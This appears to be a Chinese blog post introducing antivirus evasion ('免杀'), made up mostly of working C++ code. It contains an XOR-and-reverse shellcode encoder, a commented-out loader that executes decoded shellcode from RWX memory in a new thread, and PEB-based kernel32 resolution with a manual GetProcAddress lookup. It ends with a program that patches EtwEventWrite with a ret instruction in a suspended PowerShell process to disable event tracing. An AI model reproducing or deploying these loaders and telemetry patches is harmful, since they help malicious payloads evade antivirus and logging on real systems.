免杀初探

#include <iostream>
#include<Windows.h>
#include<string.h>
unsigned char shellcode[] =
{
 //你的shellcode
};
  
void xorcode(char *shellBuffer, int nlength, int key)
{
	int i = 0;
	for (i = 0; i < nlength; i++)
	{
		shellBuffer[i] ^= key;
	}
}

void recode(char*szBuffer, int nLength)
{
	char *szTemp = new char[nLength] {0};
	int count = nLength - 1;
	for (int i = 0; i < count; i++)
		szTemp[count - i] = szBuffer[i];

	for(size_t i = 0; i <=count; i++)
			szBuffer[i]=szTemp[i];
}

void WriteToFile(const char*szPath, char*szBuffer, int nLength)
{
	HANDLE hFile = CreateFileA(szPath, GENERIC_READ | GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	DWORD lpNumberOfBytesWritten = 0;
	BOOL bRet = WriteFile(hFile, szBuffer, nLength, &lpNumberOfBytesWritten, NULL);
	if (bRet)
		std::cout << "WriteFile Success!" << std ::endl;
	else
		std::cout << "WriteFile Failed!" << std :: endl;
}

int main()
{
	recode((char*)&shellcode, sizeof(shellcode));	//将shellcode倒叙
	xorcode((char*)&shellcode, sizeof(shellcode), 0x75);//异或shellcode
	WriteToFile("D:\\shellcode.ini", (char*)&shellcode, sizeof(shellcode));//将shellcode写入shellcode.ini中
	return 0;
}
//W-------------------------------------我是分割线--------------------------------------W

这段代码是对应的shellcodeloader程序的main函数，先解密，再在当前进程分配内存空间，写入shellcoed，接着创建一个线程，起始地址为分配空间的地址，执行shellcode
//int main()
//{
//
//	xorcode((char*)&shellcode, sizeof(shellcode), 0x75);
//	recode((char*)&shellcode, sizeof(shellcode));
//	LPVOID lpBuffer = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//	SIZE_T  lpNumberOfBytesWritten = 0;
//	WriteProcessMemory(GetCurrentProcess(), lpBuffer, shellcode, sizeof(shellcode), &lpNumberOfBytesWritten);
//	HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)lpBuffer, NULL, NULL, NULL);
//	if (hThread != NULL) {
//		printf("success");
//	}
//	else {
//		printf("error");
//	}
//	WaitForSingleObject(hThread, INFINITE);
//	return 0;
//}

#include <iostream>
#include <Windows.h>


// 获取 Kernel32.dll 的基址
DWORD GetKernel32Address()
{
   // 使用汇编获取 TEB 和 PEB 结构，从而获取 Kernel32.dll 的基址
	DWORD dwKernel32Addr = 0;
_asm {
	push eax
	mov eax, dword ptr fs:[0x30]
	mov eax, [eax + 0x0c]
	mov eax, [eax + 0x1C]
	mov eax, [eax]
	mov eax, [eax + 0x08]
	mov dwKernel32Addr, eax
	pop eax
}
return dwKernel32Addr;
}

DWORD MyGetProcAddress()
{
	DWORD dwAddrBase =GetKernel32Address();// 获取 Kernel32.dll 的基址
	PIMAGE_DOS_HEADER pDos=(PIMAGE_DOS_HEADER)dwAddrBase;// 转换为 DOS 头指针
	PIMAGE_NT_HEADERS pNt=(PIMAGE_NT_HEADERS)(pDos->e_lfanew +dwAddrBase);// 转换为 NT 头指针
	PIMAGE_DATA_DIRECTORY pDataDir= pNt->OptionalHeader.DataDirectory+IMAGE_DIRECTORY_ENTRY_EXPORT;// 获取导出表数据目录
	PIMAGE_EXPORT_DIRECTORY pExport=(PIMAGE_EXPORT_DIRECTORY)(dwAddrBase+pDataDir->VirtualAddress);// 获取导出表
	DWORD dwFunCount= pExport->NumberOfFunctions;// 导出函数表数量
	DWORD dwFunNameCount =pExport->NumberOfNames;// 导出函数名数量
	PDWORD pAddrOfFun=(PDWORD)(pExport->AddressOfFunctions+dwAddrBase);// 函数地址表指针
	PDWORD pAddrOfNames=(PDWORD)(pExport->AddressOfNames+dwAddrBase);// 函数名表指针
	PWORD pAddrOfOrdinals=(PWORD)(pExport->AddressOfNameOrdinals+dwAddrBase);// 序号表指针
	for (size_t i = 0; i< dwFunCount; i++)// 遍历导出函数表
	{
		if (!pAddrOfFun[i])// 如果函数地址为0，跳过
			continue;
		DWORD dwFunAddrOffset =pAddrOfFun[i];// 获取当前函数地址偏移
		for (size_t j = 0; j < dwFunNameCount; j++)// 遍历导出函数名表
		{
			if (pAddrOfOrdinals[j] == i)// 如果序号表中的序号等于当前索引
			{
				DWORD dwNameOffset = pAddrOfNames[j];// 获取函数名偏移
				char *pFuncName = (char *)(dwAddrBase + dwNameOffset);// 获取函数名地址
				if (strcmp(pFuncName, "GetProcAddress") == 0)// 如果函数名匹配 GetProcAddress
					return dwFunAddrOffset + dwAddrBase;// 返回 GetProcAddress 地址
			}
		}		
	}
}
// 自定义函数指针类型
//LoadLibrary
EXTERN_C typedef HMODULE
(WINAPI
	*fnLoadLibraryA)(
		_In_ LPCSTR lpLibFileName);
//GetProcAddress
EXTERN_C typedef WINBASEAPI
FARPROC
(WINAPI
	*fnGetProcAddress)
	(
		_In_ HMODULE hModule,
		_In_ LPCSTR lpProcName);
//MessageBoxA
EXTERN_C typedef int
(WINAPI *
	fnMessageBoxA)(
		_In_opt_ HWND hWnd,
		_In_opt_ LPCSTR lpText,
		_In_opt_ LPCSTR lpCaption,
		_In_ UINT uType);
//ExitProcess
EXTERN_C typedef VOID
(WINAPI
	*fnExitProcess)(
		_In_ UINT uExitCode);

int main()
{
    // 获取 自定义实现的 MyGetProcAddress 函数地址
	fnGetProcAddress pfnGetProcAddress = (fnGetProcAddress)MyGetProcAddress();
    // 获取 Kernel32.dll 的基址
	HMODULE hKernel32 = (HMODULE)GetKernel32Address();
    // 通过 GetProcAddress 获取 LoadLibraryA 函数的地址，并加载 user32.dll
	fnLoadLibraryA pfnLoadLibraryA=(fnLoadLibraryA)pfnGetProcAddress(hKernel32, "LoadLibraryA");
	HMODULE hUser32 = (HMODULE)pfnLoadLibraryA("user32.dll");
     // 通过 GetProcAddress 获取 MessageBoxA 函数的地址，并调用该函数
	fnMessageBoxA pfnMessageBoxA=(fnMessageBoxA)pfnGetProcAddress(hUser32, "MessageBoxA");
	pfnMessageBoxA(NULL, "success", "Msg", MB_OK);
    // 通过 GetProcAddress 获取 ExitProcess 函数的地址，并调用该函数
	fnExitProcess pfnExitProcess=(fnExitProcess)pfnGetProcAddress(hKernel32, "ExitProcess");
	pfnExitProcess(0);
	return 0;
}

#include <Windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
int main() {
	STARTUPINFOA si = {0};
	PROCESS_INFORMATION pi = { 0 };
	si.cb = sizeof(si);
    
	//启动一个 PowerShell 进程，并将进程信息保存在 pi 中
	CreateProcessA(NULL, (LPSTR)"powershell -NoExit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    
	//获取 ntdll.dll 中的 EtwEventWrite 函数的地址
	HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
	LPVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");

	//Sleep(500);

	DWORD oldProtect;
    //ret
	char patch = 0xc3;
	
    //将 EtwEventWrite 函数的内存页设置为可读写执行
	VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    //将第一个字节修改为 ret 指令
	WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char),NULL);
	//修改过的内存页的保护属性恢复为修改之前的状态
	VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL); 
    //ResumeThread 恢复 PowerShell 进程的执行
	ResumeThread(pi.hThread);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	//FreeLibrary(hNtdll);
	return 0;

}